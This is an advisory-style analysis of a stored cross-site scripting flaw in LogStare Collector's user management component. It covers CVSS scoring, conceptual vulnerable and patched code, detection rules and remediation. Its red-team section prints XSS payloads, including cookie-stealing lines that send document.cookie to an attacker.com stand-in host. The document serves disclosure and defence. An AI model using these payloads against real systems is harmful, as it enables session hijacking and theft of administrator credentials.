CVE-2025-61949

Executive Summary

CVE-2025-61949 is a stored cross-site scripting (XSS) vulnerability in the LogStare Collector product, specifically within the UserManagement component. An authenticated attacker with the ability to modify user information (e.g., username, display name, email) can inject malicious scripts that will be stored on the server. When a privileged user (such as an administrator) views the management page, the injected script executes in their browser context, potentially leading to session hijacking, credential theft, or further lateral movement within the LogStare environment.

The vulnerability has a CVSS v3.1 base score of 5.4 (Medium), with a low attack complexity but requiring low-privilege access and user interaction. The EPSS score is 0.0%, indicating no active exploitation in the wild at the time of analysis. No public exploit code or proof-of-concept is available, but the attack vector is well-understood.

Supply Chain & Package Security

This vulnerability is not related to an open-source package (NPM, PyPI, Go, Ruby). It affects a proprietary commercial product, LogStare Collector. Supply chain risk is limited to the vendor’s update distribution mechanism.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The attacker can send crafted data over the network.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): Low (L) – Attacker needs a valid low-privilege account.
• User Interaction (UI): Required (R) – A victim must view the management page.
• Scope (S): Changed (C) – The vulnerability impacts resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited ability to modify data.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium. Exploitation requires authenticated access and user interaction, but the impact can be severe if an admin account is compromised.

Deep Dive & Mechanics

The vulnerability resides in the UserManagement module of LogStare Collector. The application fails to properly sanitize user-supplied input when creating or updating user profiles. Fields such as displayName, email, or custom attributes are stored in the backend database without encoding or escaping.

When an administrator or any user with access to the management interface views the user list or profile page, the stored data is rendered in HTML without proper output encoding. This allows an attacker to inject arbitrary JavaScript, HTML, or other client-side code.

Attack Flow:

1. Attacker logs in with low-privilege credentials.
2. Attacker navigates to the user profile edit page.
3. Attacker injects a payload into a text field, e.g., <script>alert('XSS')</script>.
4. The payload is stored in the database.
5. An administrator views the user management page.
6. The payload executes in the admin’s browser, allowing the attacker to steal cookies, perform actions on behalf of the admin, or redirect to a malicious site.

Root Cause: Lack of input validation and output encoding in the UserManagement component.

Vulnerable vs. Patched Code

Since no patch is available, the following is a conceptual comparison.

Vulnerable Code (Conceptual):

// Server-side: Storing user input directly
app.post('/api/users', (req, res) => {
    const user = {
        username: req.body.username,
        displayName: req.body.displayName // No sanitization
    };
    db.save(user);
    res.send('User created');
});

// Client-side: Rendering without encoding
function renderUser(user) {
    document.getElementById('userList').innerHTML += 
        `<div>${user.displayName}</div>`; // XSS
}

Patched Code (Conceptual):

// Server-side: Sanitize input
const sanitizeHtml = require('sanitize-html');
app.post('/api/users', (req, res) => {
    const user = {
        username: sanitizeHtml(req.body.username),
        displayName: sanitizeHtml(req.body.displayName)
    };
    db.save(user);
    res.send('User created');
});

// Client-side: Use textContent instead of innerHTML
function renderUser(user) {
    const div = document.createElement('div');
    div.textContent = user.displayName; // Safe
    document.getElementById('userList').appendChild(div);
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Low-privilege account on LogStare Collector.
• Access to the UserManagement web interface.

Steps:

1. Log in to LogStare Collector with low-privilege credentials.
2. Navigate to Settings > User Management > Edit Profile.
3. In the Display Name field, inject the following payload:

   <img src=x onerror=alert(document.cookie)>
   

4. Save the profile.
5. Wait for an administrator to view the user list or your profile.
6. The payload executes, exfiltrating cookies to an attacker-controlled server:

   fetch('https://attacker.com/steal?cookie='+document.cookie)
   

Alternative Payload (Session Hijacking):

<script>
new Image().src='https://attacker.com/steal?cookie='+encodeURIComponent(document.cookie);
</script>

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual user profile updates, especially from low-privilege accounts.
• Look for HTML/JavaScript in user fields via log analysis.
• Use web application firewall (WAF) rules to block common XSS patterns.

Hardening:

• Implement input validation on the server side (allowlist approach).
• Encode all output using context-appropriate escaping (e.g., HTML entity encoding).
• Apply Content Security Policy (CSP) headers to restrict script execution.
• Restrict user profile editing to trusted roles only.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests to unknown domains from the LogStare server.
• Logs: User profile fields containing <script>, <img onerror>, or other HTML tags.
• File System: Modified user data in the database with embedded scripts.
• Behavior: Unexpected admin actions (e.g., new user creation, privilege escalation) originating from a session that viewed the management page.

Detection Engineering

YARA Rule

rule LogStare_Stored_XSS_CVE_2025_61949 {
    meta:
        description = "Detects stored XSS payloads in LogStare Collector user data"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-61949"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /<img[^>]*onerror[^>]*>/i
        $xss3 = /onload\s*=\s*"/i
        $xss4 = /javascript\s*:/i
    condition:
        any of them
}

Sigma Rule

title: LogStare Stored XSS - User Profile Update
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to inject XSS payloads into LogStare user profile fields
author: Valters IT
logsource:
    product: logstare
    service: web
detection:
    selection:
        event: "user_profile_update"
        field: ["displayName", "email", "username"]
        value|contains: 
            - "<script"
            - "<img"
            - "onerror"
            - "onload"
    condition: selection
falsepositives:
    - Legitimate use of HTML in user fields (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-61949 LogStare Stored XSS Payload Exfiltration";
    flow:to_server,established;
    content:"/steal?cookie="; http_uri;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable UserManagement if not required, or restrict access to trusted administrators only.
2. Apply a WAF rule to block common XSS patterns in user profile fields.
3. Monitor logs for suspicious user profile updates.

Long-Term Fix:

• The vendor (LogStare) must release a patch that implements proper input sanitization and output encoding.
• Until then, consider migrating to an alternative log collection solution.

Workaround:

• Implement a reverse proxy (e.g., Nginx) with a rule to strip HTML tags from user input:

  location /api/users {
      # This is a conceptual example; actual implementation varies
      # Use a Lua or JavaScript module to sanitize input
  }
  

Valters IT
DevSecOps & Cyber Threat Intelligence